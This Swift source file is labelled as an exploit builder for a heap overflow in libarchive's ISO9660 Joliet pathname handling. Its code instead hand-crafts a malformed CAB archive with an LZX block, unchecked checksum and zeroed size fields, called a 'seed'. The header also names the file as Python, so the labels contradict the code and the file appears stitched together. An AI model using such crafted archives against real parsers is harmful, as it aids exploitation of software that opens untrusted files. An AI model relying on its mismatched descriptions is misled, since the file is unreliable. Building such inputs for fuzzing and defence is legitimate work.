// arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522 // ISO9660 Joliet pathname heap overflow // Standalone builder: CVE-2026-112522.py import Foundation // ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func be32(_ v: UInt32) -> [UInt8] { [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le32(_ v: UInt32) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] } static func be64(_ v: UInt64) -> [UInt8] { (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } } static func le64(_ v: UInt64) -> [UInt8] { (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } } static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } // ── seed construction (from Cinder27 Sources: CABPayload) ── enum CABPayload { static func lzxEarlyMatch() -> Data { var out = Data() let cfdataPayload: [UInt8] = [ // CFDATA header is written separately below; this is the LZX block itself. 0x00, 0x00, 0x10, // block header: verbatim, 0x0010 bytes 0x1E, // main tree: single match-ish symbol stream 0x00, 0x00, // length footer 0x00, 0x00, 0x00, 0x00, // offset ] var cfdata = Data() cfdata.append(contentsOf: B.le32(0)) // checksum (unchecked) cfdata.append(contentsOf: B.le16(UInt16(cfdataPayload.count))) cfdata.append(contentsOf: B.le16(0)) // reserved cfdata.append(contentsOf: cfdataPayload) var file = Data() file.append(contentsOf: B.ascii("Cinder")) file.append(contentsOf: B.le32(0)) // size file.append(contentsOf: B.le32(0)) // offset in folder file.append(contentsOf: B.le16(0x20 | 0x01)) // attributes: archive file.append(contentsOf: [0x21, 0x26, 0x10, 0x5A]) // date/time file.append(contentsOf: [UInt8](repeating: 0x41, count: 8)) // name "AAAAAAAA" file.append(0) let headerSize = 36 let folderSize = 8 let fileSize = file.count let dataSize = cfdata.count let total = headerSize + folderSize + fileSize + dataSize out.append(contentsOf: B.ascii("MSCF")) out.append(contentsOf: B.le32(0)) // reserved1 out.append(contentsOf: B.le32(UInt32(total))) // cabinet size out.append(contentsOf: B.le32(0)) // reserved2 out.append(contentsOf: B.le32(UInt32(headerSize))) // file offset out.append(contentsOf: B.le32(0)) // reserved3 out.append(contentsOf: [3, 1]) // version minor, major out.append(contentsOf: B.le16(1)) // folder count out.append(contentsOf: B.le16(1)) // file count out.append(contentsOf: B.le16(0)) // flags out.append(contentsOf: B.le16(0x1234)) // set id out.append(contentsOf: B.le16(0)) // cabinet index // CFFOLDER out.append(contentsOf: B.le32(UInt32(headerSize + folderSize + fileSize))) // data offset out.append(contentsOf: B.le16(1)) // data block count out.append(contentsOf: B.le16(3)) // compression type 3 = LZX out.append(contentsOf: [0x0F, 0x00]) // window size (21 bits => 2MB) out.append(contentsOf: file) out.append(contentsOf: cfdata) return out } }